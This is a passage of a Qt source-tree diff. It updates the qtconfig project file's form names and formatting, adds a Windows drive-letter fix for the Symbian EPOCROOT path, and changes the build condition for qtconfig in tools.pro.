+SOURCES        += colorbutton.cpp main.cpp previewframe.cpp previewwidget.cpp mainwindow.cpp paletteeditoradvanced.cpp
+HEADERS        += colorbutton.h previewframe.h previewwidget.h mainwindow.h paletteeditoradvanced.h
 
-FORMS        = mainwindowbase.ui paletteeditoradvancedbase.ui previewwidgetbase.ui
+FORMS        = mainwindow.ui paletteeditoradvanced.ui previewwidget.ui
 RESOURCES    = qtconfig.qrc
 
 PROJECTNAME        = Qt Configuration
-TARGET                = qtconfig
-DESTDIR                = ../../bin
+TARGET             = qtconfig
+DESTDIR            = ../../bin
 
 target.path=$$[QT_INSTALL_BINS]
 INSTALLS        += target
-INCLUDEPATH        += .
-DBFILE                 = qtconfig.db
+INCLUDEPATH     += .
+DBFILE          = qtconfig.db
diff --git a/tools/shared/symbian/epocroot.cpp b/tools/shared/symbian/epocroot.cpp
index e128cd2..5e6bc12 100644
--- a/tools/shared/symbian/epocroot.cpp
+++ b/tools/shared/symbian/epocroot.cpp
@@ -99,6 +99,11 @@ static void fixEpocRoot(QString &path)
     if (!path.size() || path[path.size()-1] != QLatin1Char('/')) {
         path += QLatin1Char('/');
     }
+#ifdef Q_OS_WIN32
+    // Make sure we have drive letter in epocroot
+    if (path.startsWith(QLatin1Char('/')))
+        path.prepend(QDir::currentPath().left(2));
+#endif
 }
 
 /**
diff --git a/tools/tools.pro b/tools/tools.pro
index e82bcaa..f090b86 100644
--- a/tools/tools.pro
+++ b/tools/tools.pro
@@ -20,7 +20,7 @@ TEMPLATE        = subdirs
                 SUBDIRS += designer
             }
         }
-        unix:!mac:!embedded:!qpa:contains(QT_CONFIG, qt3support):SUBDIRS += qtconfig
+        unix:!symbian:!mac:!embedded:!qpa:SUBDIRS += qtconfig
         win32:!wince*:SUBDIRS += activeqt
     }
     contains(QT_CONFIG, declarative):SUBDIRS += qml